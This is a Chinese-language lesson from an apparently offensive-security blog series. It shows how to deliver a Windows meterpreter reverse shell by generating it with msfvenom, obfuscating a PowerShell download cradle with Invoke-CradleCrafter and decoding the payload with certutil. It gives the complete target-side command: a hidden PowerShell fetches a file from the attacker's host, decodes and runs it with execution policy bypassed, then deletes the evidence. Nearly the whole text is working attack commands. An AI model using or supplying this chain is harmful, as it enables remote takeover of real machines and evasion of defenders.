第四十四課:certutil一句話下載payload補(bǔ)充
專注APT攻擊與防御
https://micropoor.blogspot.com/

第八季中提到了certutil的加密與解密。
C:>certutil -encode c:downfile.vbs downfile.bat,而配合powershell的內(nèi)存加載,則可把certutil發(fā)揮更強(qiáng)大。

靶機(jī):windows 2012

而今天需要的是一款powershell的混淆框架的配合https://github.com/danielbohannon/Invoke-CradleCrafter
使用方法:
Import-Module ./Invoke-CradleCrafter.psd1
Invoke-CradleCrafter

如果在加載powershell 腳本的時(shí)候提示:powershell 進(jìn)行數(shù)字簽運(yùn)行該腳本。
則先執(zhí)行:set-executionpolicy Bypass

生成payload:(有關(guān)生成payload,會(huì)在未來的系列中講到)

1 root@John:/tmp# msfvenom ‐p windows/x64/meterpreter/reverse_tcp
LHOST=192.168.1.5 LPORT=53 ‐e cmd/powershell_base64 ‐f psh ‐o Micropoor.txt
啟動(dòng)apache:
powershell框架設(shè)置:

SET URL http://192.168.1.5/Micropoor.txt
MEMORY
CERTUTIL
ALL
1
混淆內(nèi)容保存txt,后進(jìn)行encode
把cer.cer 與Micropoo.txt 放置同一目錄下。
目標(biāo)機(jī)執(zhí)行:
1 powershell.exe ‐Win hiddeN ‐Exec ByPasS add‐content ‐path %APPDATA%cer.cer (New‐Object Net.WebClient).DownloadString('http://192.168.1.5/cer.cer'); certutil ‐decode %APPDATA%cer.cer %APPDATA%stage.ps1 & start /b c
md /c powershell.exe ‐Exec Bypass ‐NoExit ‐File %APPDATA%stage.ps1 & start /b cmd /c del %APPDATA%cer.cer

Micropoor
?